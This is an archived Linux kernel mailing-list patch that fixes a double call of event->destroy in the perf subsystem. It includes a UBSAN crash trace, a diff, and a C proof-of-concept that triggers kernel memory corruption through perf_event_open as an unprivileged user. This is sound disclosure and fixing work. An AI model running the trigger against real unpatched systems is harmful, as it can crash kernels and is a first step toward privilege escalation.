lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <20250519143752.37372-1-superman.xpt@gmail.com>
Date: Mon, 19 May 2025 07:37:52 -0700
From: Penglei Jiang <superman.xpt@...il.com>
To: peterz@...radead.org,
	mingo@...hat.com,
	acme@...nel.org,
	namhyung@...nel.org
Cc: mark.rutland@....com,
	alexander.shishkin@...ux.intel.com,
	jolsa@...nel.org,
	irogers@...gle.com,
	adrian.hunter@...el.com,
	kan.liang@...ux.intel.com,
	linux-perf-users@...r.kernel.org,
	linux-kernel@...r.kernel.org,
	luckd0g@....com,
	Penglei Jiang <superman.xpt@...il.com>
Subject: [PATCH 6.14.y] perf: fix double calling of event->destroy

Affected kernel versions: greater than or equal to 6.12.24 and less than 6.15

[BUG]
[   40.427200] ------------[ cut here ]------------
[   40.428671] UBSAN: array-index-out-of-bounds in kernel/events/hw_breakpoint.c:245:3
[   40.430615] index 5 is out of range for type 'atomic_t [4]'
[   40.432261] CPU: 0 UID: 65534 PID: 226 Comm: a.out Tainted: G        W          6.14.7 #1
[   40.432267] Tainted: [W]=WARN
[   40.432268] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   40.432270] Call Trace:
[   40.432272]  <TASK>
[   40.432274]  dump_stack_lvl+0x53/0x70
[   40.432313]  __ubsan_handle_out_of_bounds+0xc8/0x100
[   40.432405]  toggle_bp_slot.constprop.0+0x1c6a/0x1cc0
[   40.432427]  ? __percpu_down_read+0x4d/0x2b0
[   40.432437]  register_perf_hw_breakpoint+0xe6/0x270
[   40.432440]  ? __pfx_register_perf_hw_breakpoint+0x10/0x10
[   40.432442]  ? kasan_save_track+0x14/0x30
[   40.432447]  hw_breakpoint_event_init+0x68/0xd0
[   40.432449]  ? kmem_cache_alloc_node_noprof+0x10c/0x330
[   40.432465]  perf_try_init_event+0x108/0xb60
[   40.432468]  perf_event_alloc+0xec0/0x2be0
[   40.432472]  ? fdget+0x53/0x3a0
[   40.432482]  __do_sys_perf_event_open+0x351/0x1b50
[   40.432485]  ? hw_breakpoint_exceptions_notify+0x25f/0x370
[   40.432489]  ? __pfx___do_sys_perf_event_open+0x10/0x10
[   40.432492]  ? __pfx_notify_die+0x10/0x10
[   40.432496]  ? fpregs_assert_state_consistent+0x1b/0xa0
[   40.432510]  do_syscall_64+0x9e/0x1a0
[   40.432515]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   40.432518] RIP: 0033:0x7f1b0b58bfc9
[   40.432532] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 8
[   40.432534] RSP: 002b:00007fff11481da8 EFLAGS: 00000206 ORIG_RAX: 000000000000012a
[   40.432538] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1b0b58bfc9
[   40.432540] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00007fff11481dc0
[   40.432542] RBP: 00007fff11481e40 R08: 0000000000000000 R09: 0000000000000000
[   40.432543] R10: 00000000ffffffff R11: 0000000000000206 R12: 0000561a1955c060
[   40.432545] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[   40.432547]  </TASK>
[   40.476591] ---[ end trace ]---

[CAUSE]
When perf_event_alloc() fails, it calls event->destroy twice.

	perf_event_alloc
		perf_init_event
			perf_try_init_event
				event->destroy
				~~~~~~~~~~~~~~
		__free_event
			event->destroy
			~~~~~~~~~~~~~~

This double call triggers multiple bugs, some of which low-privilege users
can also trigger. Examples include:

	hw_breakpoint: array-index-out-of-bounds
	uprobe: use-after-free
	kprobe: use-after-free
	...

[FIX]
After calling event->destroy in perf_try_init_event(), set it to NULL.

[POC]
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/hw_breakpoint.h>
int main(void) {
	struct perf_event_attr attr;
	memset(&attr, 0, sizeof(attr));
	attr.type = PERF_TYPE_BREAKPOINT;
	attr.size = sizeof(struct perf_event_attr);
	attr.disabled = 1;
	attr.inherit = 1;
	attr.exclusive = 1;
	attr.exclude_kernel = 1;
	attr.bp_type = HW_BREAKPOINT_W;
	attr.bp_len = HW_BREAKPOINT_LEN_2;
	attr.sample_regs_user = 1;
	attr.sample_regs_intr = 0x20000000002;
	// This code will incorrectly change the value of info->cpu_pinned to -1.
	syscall(__NR_perf_event_open, &attr, 0, 0x80000000000000, -1, PERF_FLAG_FD_CLOEXEC | 0x4);

	for (int i = 0; i < 100; i++) {
		memset(&attr, 0, sizeof(attr));
		attr.type = PERF_TYPE_BREAKPOINT;
		attr.size = sizeof(attr);
		attr.config = 0;
		attr.bp_type = HW_BREAKPOINT_W;
		int var = 0;
 		attr.bp_addr = (unsigned long)&var + i;
		attr.bp_len = HW_BREAKPOINT_LEN_2;
		attr.sample_period = 0;
		attr.disabled = 0;
		attr.exclude_kernel = 1;
		attr.exclude_hv = 1;
		attr.read_format = 0;
		syscall(__NR_perf_event_open, &attr, 0, 0, -1, 0);
	}
	return 0;
}

Reported-by: Penglei Jiang <superman.xpt@...il.com>
Reported-by: Jianzhou Zhao <luckd0g@....com>
Fixes: 1209b0b29fd4 ("perf/core: Simplify the perf_event_alloc() error path")
Closes: https://lore.kernel.org/all/3a701a0.8f4a.196860948e3.Coremail.luckd0g@163.com
Closes: https://lore.kernel.org/all/tencent_B50959BC76205E0AE666AE21F7A07D017306@qq.com
Signed-off-by: Penglei Jiang <superman.xpt@...il.com>
---
 kernel/events/core.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/kernel/events/core.c b/kernel/events/core.c
index 93ce810384c9..29300bde69db 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -12045,8 +12045,10 @@ static int perf_try_init_event(struct pmu *pmu, struct perf_event *event)
 			}
 		}
 
-		if (ret && event->destroy)
+		if (ret && event->destroy) {
 			event->destroy(event);
+			event->destroy = NULL;
+		}
 	}
 
 	if (ret) {
-- 
2.17.1


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ